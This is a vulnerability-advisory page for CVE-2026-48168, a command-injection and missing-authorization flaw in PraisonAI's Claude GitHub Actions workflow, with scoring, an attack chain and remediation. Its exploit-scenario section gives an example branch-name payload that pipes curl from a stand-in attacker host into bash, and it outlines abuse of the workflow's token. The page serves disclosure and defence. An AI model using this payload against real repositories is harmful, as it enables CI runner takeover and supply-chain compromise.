Skip to main content

PraisonAI CVE-2026-48168

| EUVDEUVD-2026-53575 CRITICAL
Missing Authorization (CWE-862)
2026-08-05 GitHub_M
10.0
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Fork repo, craft malicious branch name
  2. Delivery
    Open pull request from fork
  3. Exploit
    Comment @claude to trigger workflow
  4. Execution
    Unquoted branch name injects shell in runner
  5. Persist
    Abuse GitHub App token via $GITHUB_PATH
  6. Impact
    Write to repo, manipulate PRs/issues, abuse OIDC

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the target repository has deployed the bundled Claude GitHub Actions workflow (.github/workflows/claude.yml) from a pre-4.6.40 release, configured with a GitHub App token carrying write permissions plus OIDC and gh/git access. The concrete prerequisites are: the attacker must be able to open a pull request from a fork (public repos allow this by default) and set an arbitrary fork branch name containing shell metacharacters, then post an @claude comment to trigger the job. No maintainer interaction or trusted-collaborator status is needed because the workflow omits the author-association/collaborator check - that missing check is precisely what removes the usual limiting factor. Limiting factors that reduce real-world exposure: only repositories running this specific workflow with a privileged token are affected; repositories that already restrict the workflow to trusted users, use a read-only token, or never adopted the workflow are not exploitable.

Impact

This is a genuine high-priority issue rather than an inflated high-CVSS score. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0) is well-supported: exploitation is remote, low-complexity, requires no privileges beyond the ability to open a public pull request, and no interaction from a maintainer. The scope change (S:C) is justified because code executing in the runner escapes the workflow's intended boundary to abuse a privileged GitHub App token, OIDC, and repository access - potentially compromising the whole repository and downstream trust. No EPSS score, KEV listing, or POC was provided, so the practical likelihood signal is unconfirmed; the attack technique (Actions template/command injection) is well-understood publicly, which raises real-world plausibility even without a published exploit. The main limiting factor is prevalence: PraisonAI is a niche open-source project, and only repositories that actually deployed this specific bundled workflow with the Claude App token are exposed. Note the tag/CWE nuance: it is labeled both Command Injection and Authentication/Authorization Bypass, and CWE-862 (Missing Authorization) captures the missing trusted-collaborator check rather than the injection sink itself - both must be understood together to assess exposure.

Exploit ScenarioDerived

An attacker forks the target repository and creates a branch whose name embeds shell metacharacters (for example a name containing $(curl attacker.sh|bash) style payloads), opens a pull request, and posts an @claude comment. The workflow triggers without checking that the attacker is a trusted collaborator, and the unquoted branch name is executed by Bash in the runner; the attacker then leverages the job's write-scoped GitHub App token, OIDC, and git/gh access - chaining through $GITHUB_PATH - to push commits, alter issues/PRs, or abuse OIDC tokens. No public POC was identified, but the injection technique is straightforward given the disclosed root cause.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 05, 2026

Unauthenticated remote command execution in PraisonAI's bundled Claude GitHub Actions workflow (versions before 4.6.40) lets an outside contributor run arbitrary shell code on the CI runner by opening a fork pull request whose branch name contains shell metacharacters and posting an @claude comment. Two compounding flaws enable this: the workflow interpolates the attacker-controlled branch name directly into an unquoted Bash run: block, and it triggers for any @claude comment without verifying the commenter is a trusted collaborator. Because the job runs with a GitHub App token holding write permissions plus OIDC and gh/git access, injected commands can be chained via $GITHUB_PATH into later privileged steps to gain repository write, PR/issue manipulation, or OIDC-token abuse. No public exploit identified at time of analysis.

RemediationAI

Vendor-released patch: upgrade to PraisonAI 4.6.40, which quotes the branch name via environment variables in the workflow's Bash block. Repositories that vendored or copied the older claude.yml should apply the same fixes manually: pass steps.check_fork.outputs.pr_branch and is_fork through the job's env: and reference them as quoted shell variables (git fetch ... :"${PR_BRANCH}" and if [ "${IS_FORK}" = "true" ]) instead of inlining ${{ }} expressions in run: blocks. As additional hardening, add an author-association or collaborator check so the workflow only triggers for trusted users (e.g., gate on github.event.comment.author_association being OWNER/MEMBER/COLLABORATOR), which closes the missing-authorization half of the flaw; the trade-off is that legitimate outside-contributor @claude requests will no longer auto-run and must be invoked by a maintainer. Where immediate patching is not possible, disable or remove the Claude workflow, or scope the GitHub App token down to read-only and remove OIDC permissions to blunt post-injection impact. Refer to the advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xp85-6wwf-r67c and the fix commit at https://github.com/MervinPraison/PraisonAI/commit/179cab02dbec0c1e9b601507a659.

Affected VersionsENISA

PraisonAI < 4.6.40

Affected Packages

euvd praisonai fix: 4.6.40

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable component is a GitHub Actions CI/CD workflow (.github/workflows/claude.yml) that integrates Anthropic's Claude to respond to @claude mentions. The root cause is CWE-862 (Missing Authorization) combined with a classic GitHub Actions template-injection pattern: the workflow expanded ${{ steps.check_fork.outputs.pr_branch }} - a value derived from a fork's branch name - directly inside a git fetch command in a Bash run: block. Because Actions substitutes ${{ }} expressions as raw text before the shell parses the line, an unquoted attacker-controlled value is interpreted as shell syntax, allowing command injection. The fix moves the branch name and fork flag into environment variables (PR_BRANCH, IS_FORK) and references them as quoted shell variables ("${PR_BRANCH}"), which prevents the value from being parsed as code. The same commit also hardens unrelated agent tooling (URL validation in mentions.py and an expanded AST-based sandbox blocklist in python_tools.py), but the CVE itself concerns the workflow. Affected product per CPE is cpe:2.3:a:mervinpraison:praisonai (all versions up to the fix).

Know when Praisonai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 10.0 CRITICAL

Remote fork PR plus @claude comment needs no privileges or maintainer interaction (PR:N/UI:N/AC:L), and runner code escapes to abuse a privileged token (S:C, C/I/A:H).

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 05, 2026 - 20:03 EUVD
CVE Published
Aug 05, 2026 - 18:29 cve.org
CRITICAL 10.0

DescriptionCVE.org

PraisonAI is a multi-agent teams system. In versions prior to 4.6.40, the bundled Claude GitHub Actions workflow is vulnerable to command injection because it embeds an attacker-controlled pull request branch name into a Bash run: block without quoting or validation. Additionally, the workflow allows any @claude comment to trigger the job regardless of whether the commenter is a trusted collaborator. An outside contributor can open a pull request from a fork whose branch name contains shell metacharacters and comment @claude, causing Bash to execute arbitrary shell code in the GitHub Actions runner. Because these commands run in a job holding a GitHub App token with write permissions, OIDC access, and gh/git access, the injection can be chained through $GITHUB_PATH to compromise later privileged steps, enabling repository writes, pull request and issue manipulation, or OIDC-token abuse. This issue has been fixed in version 4.6.40.

Executive ViewAI

Why It Matters

PraisonAI's Claude GitHub Actions workflow (versions prior to 4.6.40) contains a critical vulnerability permitting unauthenticated external contributors to execute arbitrary code on CI runners through branch name manipulation. Organizations using affected versions face immediate risk of CI infrastructure compromise, credential exposure, and supply chain integrity violation, enabling attackers to inject malicious code into production artifacts and access sensitive repository secrets.

Business Impact: Severe
Compensating Controls

Immediately disable workflow execution for pull_request events from external forks; restrict to pull_request_target on protected branches only; require manual approval before PR workflow triggers; implement environment-scoped secrets to limit token exposure; rotate all CI credentials and GitHub tokens; audit and minimize GitHub App write permissions; implement workflow logging and monitoring for suspicious command execution patterns.

Threat Intelligence Overview

EPSS Score
0.9%
Top 44% exploitable
Prevalence
Low
niche open-source multi-agent framework; limited enterprise CI footprint
Social Media
2
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

51
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

CVE-2026-57139 CRITICAL POC
9.8 Sep 15

PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans

CVE-2026-55536 CRITICAL POC
9.1 Aug 25

WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att

CVE-2026-55541 HIGH POC
8.8 Aug 25

PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne

CVE-2026-55534 HIGH POC
8.6 Aug 25

Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller

CVE-2026-55526 HIGH POC
8.5 Aug 25

SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou

CVE-2026-55533 HIGH POC
8.2 Aug 25

Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec

CVE-2026-55528 HIGH POC
8.2 Aug 25

Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u

CVE-2026-55522 HIGH POC
7.8 Aug 05

Arbitrary Python code execution in PraisonAI's workflow include feature allows an attacker who controls a local recipe d

CVE-2026-55523 HIGH POC
7.7 Aug 05

Server-side request forgery in PraisonAI's web_crawl() function (versions 1.5.128-1.6.57) allows an attacker who can inf

CVE-2026-55532 HIGH POC
7.6 Aug 25

Cross-site request forgery against the PraisonAI MCP HTTP-stream transport allows unauthenticated remote attackers to ex

CVE-2026-44338 HIGH POC
7.3 May 08

Remote unauthenticated access to PraisonAI's legacy Flask API server allows attackers to execute configured agent workfl

CVE-2026-55527 HIGH POC
7.1 Aug 25

Path traversal in praisonaiagents prior to 1.6.58 allows a low-privileged caller to write arbitrary JSON files to any pr

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy